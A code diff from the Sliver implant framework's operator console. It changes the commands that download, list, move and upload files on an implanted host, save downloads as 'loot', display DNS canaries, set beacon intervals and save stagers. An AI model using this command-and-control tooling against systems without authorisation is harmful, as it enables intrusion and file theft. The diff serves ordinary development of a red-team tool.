||||
|
||||
func init() {
|
||||
commandMap = make(map[string]extensionCommand)
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ExtensionsRemoveCmd - Remove an extension
|
||||
func ExtensionsRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("Extension name is required\n")
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' extension?", name)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
err := RemoveExtensionByCommandName(name, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error removing extension: %s\n", err)
|
||||
return
|
||||
} else {
|
||||
con.PrintInfof("Extension '%s' removed\n", name)
|
||||
}
|
||||
}
|
||||
|
||||
// RemoveExtensionByCommandName - Remove an extension by command name
|
||||
func RemoveExtensionByCommandName(commandName string, con *console.SliverConsoleClient) error {
|
||||
if commandName == "" {
|
||||
return errors.New("command name is required")
|
||||
}
|
||||
if _, ok := loadedExtensions[commandName]; !ok {
|
||||
return errors.New("extension not loaded")
|
||||
}
|
||||
delete(loadedExtensions, commandName)
|
||||
con.App.Commands().Remove(commandName)
|
||||
extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(commandName))
|
||||
if _, err := os.Stat(extPath); os.IsNotExist(err) {
|
||||
return nil
|
||||
}
|
||||
forceRemoveAll(extPath)
|
||||
return nil
|
||||
}
|
||||
|
||||
func forceRemoveAll(rootPath string) {
|
||||
util.ChmodR(rootPath, 0o600, 0o700)
|
||||
os.RemoveAll(rootPath)
|
||||
}
|
||||
@@ -27,6 +27,7 @@ import (
|
||||
"github.com/alecthomas/chroma/formatters"
|
||||
"github.com/alecthomas/chroma/lexers"
|
||||
"github.com/alecthomas/chroma/styles"
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -49,10 +50,14 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Downloading %s ...", filePath), ctrl)
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: filePath,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -74,16 +79,39 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
// PrintCat - Print the download to stdout
|
||||
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
var (
|
||||
lootDownload bool = true
|
||||
err error
|
||||
)
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
lootName := ctx.Flags.String("name")
|
||||
userLootType := ctx.Flags.String("type")
|
||||
userLootFileType := ctx.Flags.String("file-type")
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", download.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
if download.Encoder == "gzip" {
|
||||
download.Data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Decoding failed %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
if saveLoot {
|
||||
lootType, err := loot.ValidateLootType(userLootType)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
// Even if the loot type is bad, we can still print the result to the screen
|
||||
// We will not loot it though
|
||||
lootDownload = false
|
||||
}
|
||||
fileType := loot.ValidateLootFileType(userLootFileType, download.Data)
|
||||
|
||||
if lootDownload {
|
||||
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
|
||||
con.Printf("\n")
|
||||
}
|
||||
}
|
||||
if ctx.Flags.Bool("colorize-output") {
|
||||
|
||||
@@ -24,44 +24,36 @@ import (
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"google.golang.org/protobuf/proto"
|
||||
"gopkg.in/AlecAivazis/survey.v1"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// DownloadCmd - Download a file from the remote system
|
||||
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
remotePath := ctx.Args.String("remote-path")
|
||||
localPath := ctx.Args.String("local-path")
|
||||
|
||||
src := remotePath
|
||||
fileName := filepath.Base(src)
|
||||
dst, _ := filepath.Abs(localPath)
|
||||
fi, err := os.Stat(dst)
|
||||
if err != nil && !os.IsNotExist(err) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if err == nil && fi.IsDir() {
|
||||
dst = path.Join(dst, fileName)
|
||||
}
|
||||
recurse := ctx.Flags.Bool("recurse")
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
|
||||
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: remotePath,
|
||||
Recurse: recurse,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -76,60 +68,152 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintDownload(download, ctx, con)
|
||||
HandleDownloadResponse(download, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(download.Response)
|
||||
} else {
|
||||
PrintDownload(download, ctx, con)
|
||||
HandleDownloadResponse(download, ctx, con)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// PrintDownload - Print the download response, and save file to disk
|
||||
func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func prettifyDownloadName(path string) string {
|
||||
nonAlphaNumericRegex, err := regexp.Compile("[^a-zA-Z0-9]+")
|
||||
if err != nil {
|
||||
// Well, we tried.
|
||||
return path
|
||||
}
|
||||
|
||||
pathNoSeparators := strings.ReplaceAll(path, "\\", "_")
|
||||
pathNoSeparators = strings.ReplaceAll(pathNoSeparators, "/", "_")
|
||||
|
||||
filteredString := nonAlphaNumericRegex.ReplaceAllString(pathNoSeparators, "_")
|
||||
|
||||
// Collapse multiple underscores into one
|
||||
multipleUnderscoreRegex, err := regexp.Compile("_{2,}")
|
||||
if err != nil {
|
||||
return filteredString
|
||||
}
|
||||
|
||||
filteredString = multipleUnderscoreRegex.ReplaceAllString(filteredString, "_")
|
||||
|
||||
// If there is an underscore at the front of the filename, strip that off
|
||||
if strings.HasPrefix(filteredString, "_") {
|
||||
filteredString = filteredString[1:]
|
||||
}
|
||||
|
||||
return filteredString
|
||||
}
|
||||
|
||||
func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", download.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
remotePath := ctx.Args.String("remote-path")
|
||||
localPath := ctx.Args.String("local-path")
|
||||
|
||||
src := remotePath
|
||||
fileName := filepath.Base(src)
|
||||
dst, _ := filepath.Abs(localPath)
|
||||
fi, err := os.Stat(dst)
|
||||
if err != nil && !os.IsNotExist(err) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if err == nil && fi.IsDir() {
|
||||
dst = path.Join(dst, fileName)
|
||||
}
|
||||
if _, err := os.Stat(dst); err == nil {
|
||||
overwrite := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite local file?"}
|
||||
survey.AskOne(prompt, &overwrite, nil)
|
||||
if !overwrite {
|
||||
return
|
||||
}
|
||||
}
|
||||
if download.Encoder == "gzip" {
|
||||
download.Data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Decoding failed %s", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
dstFile, err := os.Create(dst)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
|
||||
|
||||
remotePath := ctx.Args.String("remote-path")
|
||||
localPath := ctx.Args.String("local-path")
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
|
||||
if download.ReadFiles == 0 {
|
||||
// No files downloaded successfully.
|
||||
con.PrintErrorf("No files downloaded from the implant - check permissions, path, and / or filters.\n")
|
||||
return
|
||||
}
|
||||
defer dstFile.Close()
|
||||
n, err := dstFile.Write(download.Data)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write data %v\n", err)
|
||||
|
||||
if saveLoot {
|
||||
lootName := ctx.Flags.String("name")
|
||||
lootType, err := loot.ValidateLootType(ctx.Flags.String("type"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// Hand off to the loot package to take care of looting
|
||||
fileType := loot.ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
|
||||
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
|
||||
} else {
|
||||
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
|
||||
fileName := filepath.Base(remotePath)
|
||||
dst, err := filepath.Abs(localPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
fi, err := os.Stat(dst)
|
||||
if err != nil && !os.IsNotExist(err) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if err == nil && fi.IsDir() {
|
||||
if download.IsDir {
|
||||
// Come up with a good file name - filters might make the filename ugly
|
||||
fileName = fmt.Sprintf("%s_download_%s_%d.tar.gz", filepath.Base(con.GetActiveSessionConfig().Name), filepath.Base(prettifyDownloadName(remotePath)), time.Now().Unix())
|
||||
}
|
||||
if runtime.GOOS == "windows" {
|
||||
// Windows has a file path length of 260 characters
|
||||
// +1 for the path separator before the file name
|
||||
if len(dst)+len(fileName)+1 > 260 {
|
||||
// Make an effort to shorten the file name. If this does not work, the operator will have to find somewhere else to put the file
|
||||
fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
|
||||
}
|
||||
}
|
||||
dst = path.Join(dst, fileName)
|
||||
}
|
||||
|
||||
// Add an extension to a directory download if one is not provided.
|
||||
if download.IsDir && (!strings.HasSuffix(dst, ".tgz") && !strings.HasSuffix(dst, ".tar.gz")) {
|
||||
dst += ".tar.gz"
|
||||
}
|
||||
|
||||
if _, err := os.Stat(dst); err == nil {
|
||||
overwrite := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite local file?"}
|
||||
survey.AskOne(prompt, &overwrite, nil)
|
||||
if !overwrite {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
dstFile, err := os.Create(dst)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
|
||||
return
|
||||
}
|
||||
defer dstFile.Close()
|
||||
n, err := dstFile.Write(download.Data)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write data %v\n", err)
|
||||
} else {
|
||||
var readFilesText string
|
||||
var unreadFilesText string
|
||||
|
||||
if download.ReadFiles == 1 {
|
||||
readFilesText = "file"
|
||||
} else {
|
||||
readFilesText = "files"
|
||||
}
|
||||
|
||||
if download.UnreadableFiles == 1 {
|
||||
unreadFilesText = "file"
|
||||
} else {
|
||||
unreadFilesText = "files"
|
||||
}
|
||||
|
||||
con.PrintInfof("Wrote %d bytes (%d %s successfully, %d %s unsuccessfully) to %s\n",
|
||||
n,
|
||||
download.ReadFiles,
|
||||
readFilesText,
|
||||
download.UnreadableFiles,
|
||||
unreadFilesText,
|
||||
dstFile.Name())
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -22,7 +22,6 @@ import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
@@ -45,45 +44,6 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
remotePath := ctx.Args.String("path")
|
||||
filter := ""
|
||||
|
||||
/*
|
||||
Check to see if the remote path is a filter or contains a filter.
|
||||
If the path passes the test to be a filter, then it is a filter
|
||||
because paths are not valid filters.
|
||||
*/
|
||||
if remotePath != "." {
|
||||
|
||||
// Check if the path contains a filter
|
||||
// Test on a standardized version of the path (change any \ to /)
|
||||
testPath := strings.Replace(remotePath, "\\", "/", -1)
|
||||
/*
|
||||
Cannot use the path or filepath libraries because the OS
|
||||
of the client does not necessarily match the OS of the
|
||||
implant
|
||||
*/
|
||||
lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
|
||||
|
||||
if lastSeparatorOccurrence == -1 {
|
||||
// Then this is only a filter
|
||||
filter = remotePath
|
||||
remotePath = "."
|
||||
} else {
|
||||
// Then we need to test for a filter on the end of the string
|
||||
|
||||
// The indicies should be the same because we did not change the length of the string
|
||||
baseDir := remotePath[:lastSeparatorOccurrence+1]
|
||||
potentialFilter := remotePath[lastSeparatorOccurrence+1:]
|
||||
|
||||
_, err := filepath.Match(potentialFilter, "")
|
||||
|
||||
if err == nil {
|
||||
// Then we have a filter on the end of the path
|
||||
remotePath = baseDir
|
||||
filter = potentialFilter
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
@@ -100,23 +60,38 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintLs(ls, ctx.Flags, filter, con)
|
||||
PrintLs(ls, ctx.Flags, con)
|
||||
})
|
||||
con.PrintAsyncResponse(ls.Response)
|
||||
} else {
|
||||
PrintLs(ls, ctx.Flags, filter, con)
|
||||
PrintLs(ls, ctx.Flags, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintLs - Display an sliverpb.Ls object
|
||||
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console.SliverConsoleClient) {
|
||||
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, con *console.SliverConsoleClient) {
|
||||
if ls.Response != nil && ls.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", ls.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
con.Printf("%s\n", ls.Path)
|
||||
con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
|
||||
// Generate metadata to print with the path
|
||||
numberOfFiles := len(ls.Files)
|
||||
var totalSize int64 = 0
|
||||
var pathInfo string
|
||||
|
||||
for _, fileInfo := range ls.Files {
|
||||
totalSize += fileInfo.Size
|
||||
}
|
||||
|
||||
if numberOfFiles == 1 {
|
||||
pathInfo = fmt.Sprintf("%s (%d item, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
|
||||
} else {
|
||||
pathInfo = fmt.Sprintf("%s (%d items, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
|
||||
}
|
||||
|
||||
con.Printf("%s\n", pathInfo)
|
||||
con.Printf("%s\n", strings.Repeat("=", len(pathInfo)))
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
@@ -170,29 +145,14 @@ func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console
|
||||
}
|
||||
|
||||
for _, fileInfo := range ls.Files {
|
||||
if filter != "" {
|
||||
fileMatch, err := filepath.Match(filter, fileInfo.Name)
|
||||
|
||||
if err != nil {
|
||||
/*
|
||||
This should not happen because we checked the filter
|
||||
before reaching out to the implant.
|
||||
*/
|
||||
con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
|
||||
break
|
||||
}
|
||||
|
||||
if !fileMatch {
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
modTime := time.Unix(fileInfo.ModTime, 0)
|
||||
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
|
||||
modTime = modTime.In(implantLocation)
|
||||
|
||||
if fileInfo.IsDir {
|
||||
fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
|
||||
} else if fileInfo.Link != "" {
|
||||
fmt.Fprintf(table, "%s\t%s -> %s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
|
||||
} else {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
|
||||
}
|
||||
|
||||
@@ -0,0 +1,84 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func MvCmd(ctx *grumble.Context, con *console.SliverConsoleClient) (err error) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
src := ctx.Args.String("src")
|
||||
if src == "" {
|
||||
con.PrintErrorf("Missing parameter: src\n")
|
||||
return
|
||||
}
|
||||
|
||||
dst := ctx.Args.String("dst")
|
||||
if dst == "" {
|
||||
con.PrintErrorf("Missing parameter: dst\n")
|
||||
return
|
||||
}
|
||||
|
||||
mv, err := con.Rpc.Mv(context.Background(), &sliverpb.MvReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Src: src,
|
||||
Dst: dst,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
mv.Src, mv.Dst = src, dst
|
||||
|
||||
if mv.Response != nil && mv.Response.Async {
|
||||
con.AddBeaconCallback(mv.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, mv)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
})
|
||||
con.PrintAsyncResponse(mv.Response)
|
||||
} else {
|
||||
PrintMv(mv, con)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// PrintMv - Print the renamed file
|
||||
func PrintMv(mv *sliverpb.Mv, con *console.SliverConsoleClient) {
|
||||
if mv.Response != nil && mv.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", mv.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("%s > %s\n", mv.Src, mv.Dst)
|
||||
}
|
||||
@@ -64,6 +64,10 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
dst := remotePath
|
||||
|
||||
fileBuf, err := ioutil.ReadFile(src)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
uploadGzip := new(encoders.Gzip).Encode(fileBuf)
|
||||
|
||||
ctrl := make(chan bool)
|
||||
|
||||
@@ -1,16 +1,15 @@
|
||||
package generate
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// CanariesCmd - Display canaries from the database and their status
|
||||
@@ -21,56 +20,45 @@ func CanariesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
if 0 < len(canaries.Canaries) {
|
||||
displayCanaries(con, canaries.Canaries, ctx.Flags.Bool("burned"))
|
||||
PrintCanaries(con, canaries.Canaries, ctx.Flags.Bool("burned"))
|
||||
} else {
|
||||
con.PrintInfof("No canaries in database\n")
|
||||
}
|
||||
}
|
||||
|
||||
func displayCanaries(con *console.SliverConsoleClient, canaries []*clientpb.DNSCanary, burnedOnly bool) {
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
fmt.Fprintf(table, "Sliver Name\tDomain\tTriggered\tFirst Trigger\tLatest Trigger\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("Sliver Name")),
|
||||
strings.Repeat("=", len("Domain")),
|
||||
strings.Repeat("=", len("Triggered")),
|
||||
strings.Repeat("=", len("First Trigger")),
|
||||
strings.Repeat("=", len("Latest Trigger")),
|
||||
)
|
||||
|
||||
lineColors := []string{}
|
||||
// PrintCanaries - Print the canaries tracked by the server
|
||||
func PrintCanaries(con *console.SliverConsoleClient, canaries []*clientpb.DNSCanary, burnedOnly bool) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Sliver Name",
|
||||
"Domain",
|
||||
"Triggered",
|
||||
"First Trigger",
|
||||
"Latest Trigger",
|
||||
})
|
||||
for _, canary := range canaries {
|
||||
if burnedOnly && !canary.Triggered {
|
||||
continue
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
|
||||
canary.ImplantName,
|
||||
canary.Domain,
|
||||
fmt.Sprintf("%v", canary.Triggered),
|
||||
canary.FirstTriggered,
|
||||
canary.LatestTrigger,
|
||||
)
|
||||
lineColor := console.Normal
|
||||
if canary.Triggered {
|
||||
lineColors = append(lineColors, console.Bold+console.Red)
|
||||
} else {
|
||||
lineColors = append(lineColors, console.Normal)
|
||||
}
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
for index, line := range strings.Split(outputBuf.String(), "\n") {
|
||||
if len(line) == 0 {
|
||||
continue
|
||||
}
|
||||
// We need to account for the two rows of column headers
|
||||
if 0 < len(line) && 2 <= index {
|
||||
lineColor := lineColors[index-2]
|
||||
con.Printf("%s%s%s\n", lineColor, line, console.Normal)
|
||||
} else {
|
||||
con.Printf("%s\n", line)
|
||||
lineColor = console.Bold + console.Red
|
||||
}
|
||||
firstTrigger := "Never"
|
||||
latestTrigger := "Never"
|
||||
if canary.Triggered {
|
||||
firstTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.FirstTriggered)
|
||||
latestTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.LatestTrigger)
|
||||
}
|
||||
row := table.Row{
|
||||
fmt.Sprintf(lineColor+"%s"+console.Normal, canary.ImplantName),
|
||||
fmt.Sprintf(lineColor+"%s"+console.Normal, canary.Domain),
|
||||
fmt.Sprintf(lineColor+"%v"+console.Normal, canary.Triggered),
|
||||
firstTrigger,
|
||||
latestTrigger,
|
||||
}
|
||||
tw.AppendRow(row)
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -38,7 +38,17 @@ func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, co
|
||||
interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
|
||||
interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
|
||||
interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
|
||||
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
|
||||
|
||||
/*
|
||||
If seconds has not been specified but any of the other time units have, then do not add
|
||||
the default 60 seconds to the interval.
|
||||
|
||||
If seconds have been specified, then add them regardless.
|
||||
*/
|
||||
if (ctx.Flags["seconds"].IsDefault && interval.Seconds() == 0) || (!ctx.Flags["seconds"].IsDefault) {
|
||||
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
|
||||
}
|
||||
|
||||
if interval < minBeaconInterval {
|
||||
return ErrBeaconIntervalTooShort
|
||||
}
|
||||
|
||||
@@ -5,8 +5,6 @@ import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
@@ -95,15 +93,11 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
if save != "" || format == "raw" {
|
||||
saveTo, _ := filepath.Abs(save)
|
||||
fi, err := os.Stat(saveTo)
|
||||
saveTo, err := saveLocation(save, stageFile.GetFile().GetName())
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to generate sliver stager %v\n", err)
|
||||
return
|
||||
}
|
||||
if fi.IsDir() {
|
||||
saveTo = filepath.Join(saveTo, stageFile.GetFile().GetName())
|
||||
}
|
||||
|
||||
err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to: %s\n", saveTo)
|
||||
|
||||
@@ -29,7 +29,6 @@ import (
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
@@ -39,6 +38,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
@@ -164,15 +164,12 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
|
||||
// Shared function that extracts the compile flags from the grumble context
|
||||
func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
|
||||
var name string
|
||||
if ctx.Flags["name"] != nil {
|
||||
if ctx.Flags.String("name") != "" {
|
||||
name = strings.ToLower(ctx.Flags.String("name"))
|
||||
|
||||
if name != "" {
|
||||
isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
|
||||
if !isAlphanumeric(name) {
|
||||
con.PrintErrorf("Implant's name must be in alphanumeric only\n")
|
||||
return nil
|
||||
}
|
||||
if err := util.AllowedName(name); err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
@@ -258,6 +255,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
isShellcode := false
|
||||
|
||||
format := ctx.Flags.String("format")
|
||||
runAtLoad := false
|
||||
var configFormat clientpb.OutputFormat
|
